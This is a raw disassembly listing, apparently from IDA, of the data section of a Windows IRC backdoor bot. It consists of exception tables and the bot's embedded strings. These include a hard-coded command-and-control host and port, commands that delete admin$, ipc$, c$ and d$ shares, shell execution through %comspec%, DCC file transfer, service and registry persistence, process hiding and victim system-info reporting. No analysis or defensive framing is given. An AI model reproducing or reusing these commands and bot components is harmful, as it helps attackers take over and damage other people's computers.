		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F68h, 4	dup(0)
		dd offset loc_42AF54
		align 10h
dword_441F80	dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FC8h, 4	dup(0)
		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086D8o ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
aHotfix		db 'hotfix',0           ; DATA XREF: sub_407790+394o
		align 4
aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+383o
		align 8
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+372o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
		align 4
		dd 0
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+350o
		align 8
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+342o
		align 10h
aWintwir	db 'wintwir',0          ; DATA XREF: sub_407790+331o
		dd 0
aMsnnmaneger_ex	db 'msnnmaneger.exe',0  ; DATA XREF: sub_407790+320o
		align 10h
aServec		db 'servec',0           ; DATA XREF: sub_407790+30Fo
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+2FEo
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2EDo
		align 4
aSaad		db 'saad',0             ; DATA XREF: sub_407790+2A9o
					; sub_407790+2DCo
		align 4
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
					; sub_407790+2CBo
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438E0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_443908	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A30	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443B04:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C84	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C88:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C94:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
